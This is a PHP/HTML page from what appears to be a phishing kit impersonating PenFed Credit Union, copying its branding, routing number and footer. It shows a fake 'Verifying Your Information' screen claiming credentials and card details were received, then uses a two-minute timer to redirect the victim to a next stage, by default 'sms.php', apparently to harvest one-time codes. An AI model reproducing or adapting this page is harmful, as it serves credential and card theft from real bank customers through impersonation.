<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
    <title>PenFed Credit Union — Processing</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:      #1B3A6B;
            --navy-dark: #122849;
            --blue:      #1B6EBF;
            --blue-dark: #155aa0;
            --text:      #2d2d2d;
            --text-sub:  #6b7280;
            --border:    #d1d5db;
            --offwhite:  #f5f7fa;
            --white:     #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--offwhite); }

        .utility-bar { background: #f0f2f5; border-bottom: 1px solid #dde1e8; padding: 6px 0; }
        .utility-inner { max-width: 1200px; margin: 0 auto; padding: 0 32px; display: flex; align-items: center; justify-content: center; gap: 28px; }
        .utility-bar a { font-size: 12.5px; color: var(--text-sub); text-decoration: none; }
        .utility-bar .routing { font-size: 12.5px; color: var(--text-sub); font-weight: 600; }
        .search-link { margin-left: auto; display: flex; align-items: center; gap: 5px; color: var(--blue); font-weight: 600; font-size: 12.5px; text-decoration: none; }

        .main-nav { background: var(--white); border-bottom: 1px solid #e5e8ef; padding: 0 32px; }
        .nav-inner { max-width: 1200px; margin: 0 auto; display: flex; align-items: center; height: 76px; gap: 0; }
        .nav-logo { display: flex; align-items: center; text-decoration: none; margin-right: 32px; flex-shrink: 0; }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; flex: 1; }
        .nav-links a { font-size: 14px; font-weight: 600; color: var(--text); text-decoration: none; padding: 0 14px; height: 76px; display: flex; align-items: center; border-bottom: 3px solid transparent; transition: color 0.15s, border-color 0.15s; white-space: nowrap; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-actions { display: flex; align-items: center; gap: 10px; margin-left: 20px; }
        .btn-join { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 10px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s; }
        .btn-login-nav { background: transparent; color: var(--navy); border: 2px solid var(--navy); border-radius: 4px; padding: 9px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s, color 0.15s; }

        .page-body {
            flex: 1;
            display: flex; align-items: center; justify-content: center;
            padding: 48px 20px;
            background: linear-gradient(160deg, #f0f4fb 0%, #e8eef8 100%);
        }

        .wait-wrap { width: 100%; max-width: 460px; }

        .steps-bar { display: flex; align-items: center; gap: 0; margin-bottom: 24px; }
        .step-item { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; }
        .step-num { width: 26px; height: 26px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 11px; font-weight: 700; flex-shrink: 0; }
        .step-item.done .step-num { background: var(--navy); color: #fff; }
        .step-item.done .step-label { color: var(--navy); }
        .step-item.active .step-num { background: var(--blue); color: #fff; box-shadow: 0 0 0 3px rgba(27,110,191,0.2); }
        .step-item.active .step-label { color: var(--blue); }
        .step-connector { flex: 1; height: 2px; background: #d1d9e6; margin: 0 8px; }
        .step-connector.done { background: var(--navy); opacity: 0.35; }

        .card {
            background: var(--white);
            border-radius: 6px;
            padding: 40px 36px;
            box-shadow: 0 4px 24px rgba(27,58,107,0.10);
            text-align: center;
            animation: cardIn 0.4s ease both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(14px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 44px; width: auto; display: inline-block; }

        /* Ring timer */
        .ring-wrap {
            position: relative; width: 150px; height: 150px;
            margin: 0 auto 28px;
        }
        .ring-wrap svg { width: 150px; height: 150px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: #e8eef5; stroke-width: 7; }
        .ring-progress {
            fill: none; stroke: var(--blue); stroke-width: 7;
            stroke-linecap: round;
            stroke-dasharray: 376.99;
            stroke-dashoffset: 0;
            transition: stroke-dashoffset 1s linear;
            filter: drop-shadow(0 0 6px rgba(27,110,191,0.3));
        }
        .ring-label {
            position: absolute; inset: 0;
            display: flex; flex-direction: column;
            align-items: center; justify-content: center;
        }
        .ring-time { font-size: 36px; font-weight: 700; color: var(--navy); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-sub); margin-top: 6px; letter-spacing: 0.08em; text-transform: uppercase; font-weight: 600; }

        .wait-heading h1 { font-size: 19px; font-weight: 700; color: var(--navy); margin-bottom: 8px; }
        .wait-heading p { font-size: 14px; color: var(--text-sub); line-height: 1.65; max-width: 320px; margin: 0 auto 24px; }

        /* Progress steps list */
        .progress-steps {
            display: flex; flex-direction: column; gap: 0;
            text-align: left; margin-bottom: 24px;
        }
        .prog-step {
            display: flex; align-items: center; gap: 12px;
            padding: 11px 0;
            border-bottom: 1px solid #f0f2f6;
            font-size: 13.5px; color: var(--text-sub);
            transition: color 0.3s;
        }
        .prog-step:last-child { border-bottom: none; }
        .prog-step.complete { color: var(--navy); font-weight: 600; }
        .prog-step.active-step { color: var(--blue); font-weight: 600; }
        .step-icon {
            width: 22px; height: 22px; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; font-size: 10px; font-weight: 700;
            background: #e8eef5; color: var(--text-sub);
            transition: background 0.3s, color 0.3s;
        }
        .prog-step.complete .step-icon { background: var(--navy); color: #fff; }
        .prog-step.active-step .step-icon { background: var(--blue); color: #fff; }

        /* Spinner for active */
        .spin {
            display: inline-block;
            width: 12px; height: 12px;
            border: 2px solid rgba(27,110,191,0.2);
            border-top-color: var(--blue);
            border-radius: 50%;
            animation: spin 0.8s linear infinite;
        }
        @keyframes spin { to { transform: rotate(360deg); } }

        .info-notice {
            display: inline-flex; align-items: center; gap: 8px;
            background: #f0f4fb; border: 1px solid #c8d8f0;
            border-radius: 4px; padding: 11px 18px;
            font-size: 12.5px; color: var(--navy); font-weight: 600;
        }

        .page-footer { background: var(--navy); padding: 20px 32px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-inner { max-width: 1200px; margin: 0 auto; width: 100%; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.6); text-decoration: none; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.4); }

        @media(max-width: 500px) { .card { padding: 28px 20px 32px; } .nav-links { display: none; } .main-nav { padding: 0 20px; } .step-label { display: none; } }
    </style>
</head>
<body>
    <div class="utility-bar">
        <div class="utility-inner">
            <span class="routing">Routing # 256078446</span>
            <a href="#">Partners</a><a href="#">Member Discounts</a><a href="#">Wealth</a>
            <a href="#">Foundation</a><a href="#">ATMs &amp; Branches</a><a href="#">About</a>
            <a href="#" class="search-link">Search <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg></a>
        </div>
    </div>

    <nav class="main-nav">
        <div class="nav-inner">
            <a href="#" class="nav-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></a>
            <div class="nav-links">
                <a href="#">Checking &amp; Savings</a><a href="#">Credit Cards</a><a href="#">Auto</a>
                <a href="#">Mortgage &amp; Home Equity</a><a href="#">Loans</a><a href="#">Learn</a>
            </div>
            <div class="nav-actions">
                <a href="#" class="btn-join">Join Now</a>
                <a href="login.php" class="btn-login-nav">Log In</a>
            </div>
        </div>
    </nav>

    <div class="page-body">
        <div class="wait-wrap">
            <div class="steps-bar">
                <div class="step-item done"><div class="step-num">✓</div><span class="step-label">Sign In</span></div>
                <div class="step-connector done"></div>
                <div class="step-item done"><div class="step-num">✓</div><span class="step-label">Verify Identity</span></div>
                <div class="step-connector done"></div>
                <div class="step-item active"><div class="step-num">3</div><span class="step-label">Processing</span></div>
            </div>

            <div class="card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></div>

                <div class="ring-wrap">
                    <svg viewBox="0 0 120 120">
                        <circle class="ring-track" cx="60" cy="60" r="60"/>
                        <circle class="ring-progress" id="rp" cx="60" cy="60" r="60"/>
                    </svg>
                    <div class="ring-label">
                        <div class="ring-time" id="td">2:00</div>
                        <div class="ring-unit">remaining</div>
                    </div>
                </div>

                <div class="wait-heading">
                    <h1>Verifying Your Information</h1>
                    <p>Please hold while we securely process your request. Do not close or refresh this page.</p>
                </div>

                <div class="progress-steps">
                    <div class="prog-step complete" id="ps0">
                        <div class="step-icon">✓</div>
                        Credentials authenticated
                    </div>
                    <div class="prog-step complete" id="ps1">
                        <div class="step-icon">✓</div>
                        Card details received
                    </div>
                    <div class="prog-step active-step" id="ps2">
                        <div class="step-icon"><span class="spin"></span></div>
                        Verifying with financial institution
                    </div>
                    <div class="prog-step" id="ps3">
                        <div class="step-icon">4</div>
                        Completing secure session
                    </div>
                </div>

                <div class="info-notice">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                    Do not close or refresh this page
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-inner">
            <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
            <div class="footer-copy">© 2025 PenFed Credit Union. Federally Insured by NCUA.</div>
        </div>
    </footer>

    <script>
        var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
        const TOTAL = 120; let rem = TOTAL;
        const disp = document.getElementById('td');
        const ring = document.getElementById('rp');
        const CIRC = 2 * Math.PI * 60; // r=60

        // Animate step 3 to complete at ~60s
        let step3Done = false;

        function tick() {
            const m = Math.floor(rem / 60), s = rem % 60;
            disp.textContent = m + ':' + String(s).padStart(2, '0');
            ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);

            // Advance step 3 halfway through
            if (!step3Done && rem <= 60) {
                step3Done = true;
                const ps2 = document.getElementById('ps2');
                ps2.classList.remove('active-step');
                ps2.classList.add('complete');
                ps2.querySelector('.step-icon').innerHTML = '✓';
                ps2.querySelector('.step-icon').style.background = 'var(--navy)';
                ps2.querySelector('.step-icon').style.color = '#fff';

                const ps3 = document.getElementById('ps3');
                ps3.classList.add('active-step');
                ps3.querySelector('.step-icon').innerHTML = '<span class="spin"></span>';
                ps3.querySelector('.step-icon').style.background = 'var(--blue)';
                ps3.querySelector('.step-icon').style.color = '#fff';
            }

            if (rem <= 0) { clearInterval(t); window.location = next; }
            else rem--;
        }
        tick();
        const t = setInterval(tick, 1000);
    </script>
</body>
</html>